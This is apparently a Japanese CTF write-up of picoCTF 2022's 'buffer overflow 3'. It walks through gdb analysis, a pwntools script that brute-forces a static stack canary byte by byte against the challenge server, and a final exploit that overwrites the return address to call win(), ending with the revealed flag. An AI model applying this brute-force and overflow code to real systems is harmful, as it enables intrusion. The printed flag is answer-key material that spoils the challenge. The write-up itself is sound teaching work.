カナリアの回避
picoCTF 2022の「buffer overflow 3」。
スタックの途中に4バイトの文字列があるのでそれを壊さないようにEIPを奪う。
プログラムの概要
ただ入力を受け取るのではなく、バッファに書き込むサイズを指定できる。
How Many Bytes will You Write Into the Buffer? > 70 Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Ok... Now Where's the Flag?
これがカナリア特定の際に重要になる。
ソース
#define BUFSIZE 64 #define FLAGSIZE 64 #define CANARY_SIZE 4 ... int main(int argc, char **argv){ read_canary(); vuln(); }
main
関数に入ると、まずread_canary
関数を実行し、その後にvuln
関数を実行する。
char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); }
ここでいうカナリアの実態は、canary.txtというファイルから読み出した4文字の文字列。
void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); }
最初にバッファに書き込むサイズを指定できる(length
およびcount
)。
たとえば最初の入力で70と与えてInputで100文字与えると、70文字だけ読み取られて残りの30文字はあふれる。
ゴールはwin
関数を実行すること。
void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAGSIZE,f); puts(buf); }
カナリアまでのオフセット
入力する場所からカナリアの4文字が格納されてる場所までのオフセットを求める。
ここではカナリアを"ZZZZ"としておく。
┌──(shoebill㉿shoebill)-[~/pico] └─$ cat canary.txt ZZZZ
vuln
関数の一回目のread
にブレイクポイントを打ってgdbで解析する。
(入力サイズはとりあえず70にしておく)
gdb-peda$ b *vuln+187 gdb-peda$ r > 70 ... [-------------------------------------code-------------------------------------] 0x804953e <vuln+181>: lea eax,[ebp-0x50] 0x8049541 <vuln+184>: push eax 0x8049542 <vuln+185>: push 0x0 => 0x8049544 <vuln+187>: call 0x8049130 <read@plt> 0x8049549 <vuln+192>: add esp,0x10 0x804954c <vuln+195>: sub esp,0x4 0x804954f <vuln+198>: push 0x4 0x8049551 <vuln+200>: mov eax,0x804c054 Guessed arguments: arg[0]: 0x0 arg[1]: 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln") arg[2]: 0x46 (=70)
スタックを多めに表示してみるとカナリア(ZZZZ)がいた。
gdb-peda$ stack 40 0000| 0xffffceb0 --> 0x0 0004| 0xffffceb4 --> 0xffffcf08 --> 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln") 0008| 0xffffceb8 --> 0x46 ('F') ... 0148| 0xffffcf44 --> 0x804c000 --> 0x804bf10 --> 0x1 0152| 0xffffcf48 ("ZZZZ\002") 0156| 0xffffcf4c --> 0x2
そのままni
コマンドで次のread
関数を実行する。
ためしに"A"を100文字入力してからスタックを見てみると
0088| 0xffffcf08 ('A' <repeats 70 times>) 0092| 0xffffcf0c ('A' <repeats 66 times>) 0096| 0xffffcf10 ('A' <repeats 62 times>) ...
よってカナリアまでのオフセットは
gdb-peda$ p 0xffffcf48 - 0xffffcf08 $1 = 0x40
64(これはBUFFSIZEに等しい)と判明。
カナリアを求める
入力サイズを指定できるという点に着目すると、カナリアを求めるスマートな方法があることに気付く。
次の出力結果の違いに注目(カナリアが"ABCD"の場合):
┌──(shoebill㉿shoebill)-[~/pico] └─$ ./vuln How Many Bytes will You Write Into the Buffer? > 65 Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXZ ***** Stack Smashing Detected ***** : Canary Value Corrupt! ┌──(shoebill㉿shoebill)-[~/pico] └─$ ./vuln How Many Bytes will You Write Into the Buffer? > 65 Input> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA Ok... Now Where's the Flag?
入力サイズを65とする。そして、パディング用の64文字+カナリアの先頭1文字 を入力する。
"Stack Smashing Detected"と出力されなければ、パディングに続けた一文字はカナリアの先頭一文字に等しいということ。
これを利用してカナリアを一文字ずつbrute forceしていく。
カナリアのbrute force
ターゲットサーバへ負荷をかけすぎないために、一度に4文字みつけるのではなく一文字ずつみつけるようにスクリプトを組む。
#!/usr/bin/env python3 import string import time from pwn import * bin_file = './vuln' context.binary = bin_file context.log_level = 'error' binf = ELF(bin_file) flag = False def attack(conn, length, canary): global flag conn.sendlineafter(b'> ', length) payload = b'a' * 64 + canary conn.sendlineafter(b'Input> ', payload) conn.recvline() recv = conn.recvline() if b'Stack Smashing Detected' in recv: pass else: print('\nfound!\ncanary[:{0}] = {1}'.format(len(canary), canary)) flag = True def main(): moji = string.digits + string.ascii_letters + string.punctuation correct_canary = args.LETTER1 + args.LETTER2 + args.LETTER3 + args.LETTER4 correct_canary = bytes(correct_canary, 'utf-8') length = bytes(args.LENGTH, 'utf-8') for c in moji: print('\r canary:%s' % c, end = '') conn = remote('saturn.picoctf.net', 52885) canary = correct_canary + bytes(c, 'utf-8') try: attack(conn, length, canary) except: pass conn.close() time.sleep(0.5) if flag: break if __name__ == '__main__': main()
- BytesWarningが鬱陶しいのでいちいち
bytes
関数で変換 - EOFErrorが頻発しbrute forceがうまくいかないので
try/error
でエラーを無視る
pwntoolsとコマンドライン引数について:
いちいちbytes
関数使わずに以下を追記するだけでもBytesWarningを抑制できる。
import warnings warnings.simplefilter('ignore', category = BytesWarning)
このbrute.pyを以下のように実行してカナリアを求める。
┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=65 canary:B found! canary[:1] = b'B' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=66 LETTER1=B canary:i found! canary[:2] = b'Bi' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=67 LETTER1=B LETTER2=i canary:R found! canary[:3] = b'BiR' ┌──(shoebill㉿shoebill)-[~/pico] └─$ python3 brute.py LENGTH=68 LETTER1=B LETTER2=i LETTER3=R canary: found! canary[:4] = b'BiRd'
リターンアドレスまでのオフセット
最終的なペイロードは
(64文字のパディング)+(カナリア)+(retaddrまでのパディング)+(win関数のアドレス)
となる。
そこで、gdbのパターン文字列を
(64文字のパディング)+(カナリア)+(パターン文字列)
のように使って入力してやる。
入力サイズを200、パターン文字列の長さを100として実行。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r > 200 Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Ok... Now Where's the Flag? ... [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x41414241 ('ABAA') ECX: 0x6c0 EDX: 0xf7e20994 --> 0x0 ESI: 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln") EDI: 0xf7ffcb80 --> 0x0 EBP: 0x6e414124 ('$AAn') ESP: 0xffffcf60 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n\357\341\367D\320\377\377\200\313\377\367 \320\377\367\367*\364\320\347\340M\253") EIP: 0x41434141 ('AACA') ... Stopped reason: SIGSEGV 0x41434141 in ?? () gdb-peda$ patto AACA AACA found at offset: 16
よってカナリアからリターンアドレスまでのオフセットは16。
exploit
#!/usr/bin/env python3 from pwn import * import time bin_file = './vuln' context.binary = bin_file context.log_level = 'debug' binf = ELF(bin_file) addr_win = binf.symbols['win'] def attack(conn, **kwargs): conn.sendlineafter(b'> ', b'200') payload = b'a' * 64 payload += b'BiRd' payload += b'b' * 16 payload += p32(addr_win) conn.sendlineafter(b'Input> ', payload) def main(): conn = remote('saturn.picoctf.net', 64416) attack(conn) conn.interactive() if __name__ == '__main__': main()
実行結果(context.log_level
をdebug
にしないとフラグがみえない):
┌──(shoebill㉿shoebill)-[~/pico] └─$ ./exploit.py [+] Opening connection to saturn.picoctf.net on port 52885: Done [DEBUG] Received 0x32 bytes: b'How Many Bytes will You Write Into the Buffer?\r\n' b'> ' [DEBUG] Sent 0x4 bytes: b'200\n' [DEBUG] Received 0x5 bytes: b'200\r\n' [DEBUG] Received 0x7 bytes: b'Input> ' [DEBUG] Sent 0x59 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000040 42 69 52 64 62 62 62 62 62 62 62 62 62 62 62 62 │BiRd│bbbb│bbbb│bbbb│ 00000050 62 62 62 62 36 93 04 08 0a │bbbb│6···│·│ 00000059 [*] Switching to interactive mode [DEBUG] Received 0x5a bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000040 42 69 52 64 62 62 62 62 62 62 62 62 62 62 62 62 │BiRd│bbbb│bbbb│bbbb│ 00000050 62 62 62 62 36 93 5e 48 0d 0a │bbbb│6·^H│··│ 0000005a [DEBUG] Received 0x48 bytes: b"Ok... Now Where's the Flag?\r\n" b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_a2b218b2}\r\n' [*] Got EOF while reading in interactive $